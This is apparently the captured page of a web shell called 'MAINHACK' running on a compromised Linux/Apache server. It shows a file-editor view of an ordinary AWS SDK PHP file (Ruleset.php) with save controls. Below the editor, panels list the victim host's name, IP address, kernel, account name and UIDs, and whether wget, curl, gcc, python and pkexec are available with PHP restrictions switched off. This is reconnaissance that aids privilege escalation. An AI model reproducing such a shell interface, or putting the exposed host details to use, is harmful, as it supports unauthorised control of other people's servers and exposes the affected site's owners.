[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Ruleset.php
<?php namespace Aws\EndpointV2\Ruleset; use Aws\EndpointV2\Rule\RuleCreator; /** * A collection of rules, parameter definitions and a class of helper functions * used to resolve either an endpoint or an error. */ class Ruleset { /** @var string */ private $version; /** @var array */ private $parameters; /** @var array */ private $rules; /** @var RulesetStandardLibrary */ public $standardLibrary; public function __construct(array $ruleset, array $partitions) { $this->version = $ruleset['version']; $this->parameters = $this->createParameters($ruleset['parameters']); $this->rules = $this->createRules($ruleset['rules']); $this->standardLibrary = new RulesetStandardLibrary($partitions); } /** * @return mixed */ public function getVersion() { return $this->version; } /** * @return array */ public function getParameters() { return $this->parameters; } /** * @return array */ public function getRules() { return $this->rules; } /** * Evaluate the ruleset against the input parameters. * Return the first rule the parameters match against. * * @return mixed */ public function evaluate(array $inputParameters) { $this->validateInputParameters($inputParameters); foreach($this->rules as $rule) { $evaluation = $rule->evaluate($inputParameters, $this->standardLibrary); if ($evaluation !== false) { return $evaluation; } } return false; } /** * Ensures all corresponding client-provided parameters match * the Ruleset parameter's specified type. * * @return void */ private function validateInputParameters(array &$inputParameters) { foreach($this->parameters as $paramName => $param) { $inputParam = isset($inputParameters[$paramName]) ? $inputParameters[$paramName] : null; if (is_null($inputParam) && !is_null($param->getDefault())) { $inputParameters[$paramName] = $param->getDefault(); } elseif (!is_null($inputParam)) { $param->validateInputParam($inputParam); } } } private function createParameters(array $parameters) { $parameterList = []; foreach($parameters as $name => $definition) { $parameterList[$name] = new RulesetParameter($name, $definition); } return $parameterList; } private function createRules(array $rules) { $rulesList = []; forEach($rules as $rule) { $ruleObj = RuleCreator::create($rule['type'], $rule); $rulesList[] = $ruleObj; } return $rulesList; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.42 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002